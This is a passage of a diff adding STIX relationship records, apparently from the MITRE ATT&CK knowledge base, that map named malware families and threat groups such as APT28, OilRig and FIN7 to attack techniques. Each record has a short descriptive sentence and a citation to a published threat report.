"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--8961d93e-ec51-42dd-8f76-54d46ea21967", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:16.039Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "The initial beacon packet for [Misdat](https://attack.mitre.org/software/S0083) contains the operating system version of the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--87e080cf-b8c0-4679-bcfb-ff77ab7698f3", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--aec49e52-c54e-45be-a476-70aa0dc42cfb", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.767Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "source_name": "F-Secure BlackEnergy 2014", + "url": "https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf" + }, + { + "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Nov 2014", + "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware can use a SOAP Web service to communicate with its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--79f89b33-046c-4bfa-a12d-c50fa0d84ea6", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", + "source_name": "Unit 42 Magic Hound Feb 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b6075259-dba3-44e9-87c7-e954f37ec0d5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used net.exe in a script with net accounts /domain to find the password policy of a domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5e39caf2-083b-4e4c-b04f-d83c512341cb", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.314Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Singh, S., Yin, H. (2016, May 22). https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html. Retrieved April 5, 2018.", + "source_name": "FireEye Targeted Attacks Middle East Banks", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[APT28](https://attack.mitre.org/groups/G0007) used other victims as proxies to relay command traffic, for instance using a compromised Georgian military email server as a hop point to NATO victims. The group has also used a tool that acts as a proxy to allow C2 even if the victim is behind a router. [APT28](https://attack.mitre.org/groups/G0007) has also used a machine to relay and obscure communications between [CHOPSTICK](https://attack.mitre.org/software/S0023) and their server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.038Z", + "id": "relationship--10cc3288-d06c-456c-bc0e-b10a8c5abeaa", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:35.679Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) has used WinSCP to exfiltrate data from a targeted organization over FTP.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4612c0bd-f6f7-4c71-92dd-9f26ff1c3eef", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "modified": "2019-03-25T17:06:37.175Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) drops itself onto removable media devices and creates an autorun.inf file with an instruction to run that file. When the device is inserted into another system, it opens autorun.inf and loads the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7f3c015e-d95d-4d35-a583-236134464554", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "source_name": "ThreatExpert Agent.btz", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) malware has created scheduled tasks to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1f7b17e9-9ad3-42dd-ab92-e3afe752247b", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "modified": "2019-06-30T23:13:18.506Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "source_name": "FireEye FIN7 April 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.", + "source_name": "Flashpoint FIN 7 March 2019", + "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/ " + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Comnie](https://attack.mitre.org/software/S0244) collects the hostname of the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b22e151c-4919-4160-9f5c-143484948003", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) aggregates staged data from a network into a single location.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b8df1d2c-f014-4f51-a277-8050adafb865", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "modified": "2019-03-22T20:21:57.785Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.021Z", + "id": "relationship--87f4c47d-b94d-4a1e-9c4b-be671a99e6f0", + "source_ref": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2", + "modified": "2019-07-24T19:50:39.871Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Orz](https://attack.mitre.org/software/S0229) can execute commands with script as well as execute JavaScript.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0a973da5-c4a1-4597-b629-bb3cfd9a2de1", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--428ca9f8-0e33-442a-be87-f869cb4cf73e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.025Z", + "id": "relationship--a1f198ef-af69-4c0f-b3ed-0b47ad6167fe", + "source_ref": "course-of-action--24478001-2eb3-4b06-a02e-96b3d61d27ec", + "modified": "2019-07-25T11:15:39.494Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can perform screen captures of the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8140f09f-af3b-45e1-ae7c-f2dc85b8930e", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used a CHM payload to load and execute another malicious file once delivered to a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--352e990d-48be-4d1a-bd8a-bc27d641aa1f", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.325Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[MoonWind](https://attack.mitre.org/software/S0149) has a command to return a list of running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1035fe41-56b9-4966-bf3b-109ae950c908", + "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.", + "source_name": "Palo Alto MoonWind March 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Elise](https://attack.mitre.org/software/S0081) communicates over HTTP or HTTPS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bc60180b-2db6-4e0d-8b98-d349db637777", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) collects system information, including the operating system version and hostname.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ea4c3651-b2a3-418e-8d3b-3c8075b988ef", + "source_ref": "malware--123bd7b3-675c-4b1a-8482-c55782b20e2b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) used the command query user on victim hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79eff26b-058c-4a5c-ac7a-f6e6c778d934", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers file and directory information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--69127424-40bb-4b92-8558-6fe1561e0a59", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "source_name": "McAfee Gold Dragon", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used legitimate local admin account credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--70bc1a16-3c57-4198-b2f9-c7f27bec271c", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.447Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) deletes its original installer file once installation is complete.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b13fd1c9-a42c-45fc-9db8-1cd691740e0a", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Desai, D.. (2015, August 14). Chinese cyber espionage APT group leveraging recently leaked Hacking Team exploits to target a Financial Services Firm. Retrieved January 26, 2016.", + "source_name": "ZScaler Hacking Team", + "url": "http://research.zscaler.com/2015/08/chinese-cyber-espionage-apt-group.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) contains base64-encoded strings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--59df5f14-e570-417e-8184-e8e7c6c1ea75", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--e7126875-bb0f-48d0-845f-6b8951ce8507", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can collect system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--42ce3f19-e995-4a9e-b7d6-74a5a28824f9", + "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can use port 995 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--44090eb6-1166-4986-8583-60dcc8e69cc7", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the deletFileFromPath function to delete a specified file using the NSFileManager:removeFileAtPath method.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f5fee3da-a3ef-4a81-a70c-9660ab1fb3d6", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.252Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used hidden or non-printing characters to help masquerade file names on a system, such as appending a Unicode no-break space character to a legitimate service name. They have also used by moving and renaming pubprn.vbs to a .txt file to avoid detection. Additionally, the group has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.450Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "description": "Carr, N.. (2017, December 26). Nick Carr Status Update APT32 pubprn. Retrieved April 22, 2019.", + "source_name": "Twitter ItsReallyNick APT32 pubprn Masquerade", + "url": "https://twitter.com/ItsReallyNick/status/945681177108762624" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) uses HTTP and HTTPS for C2.", + 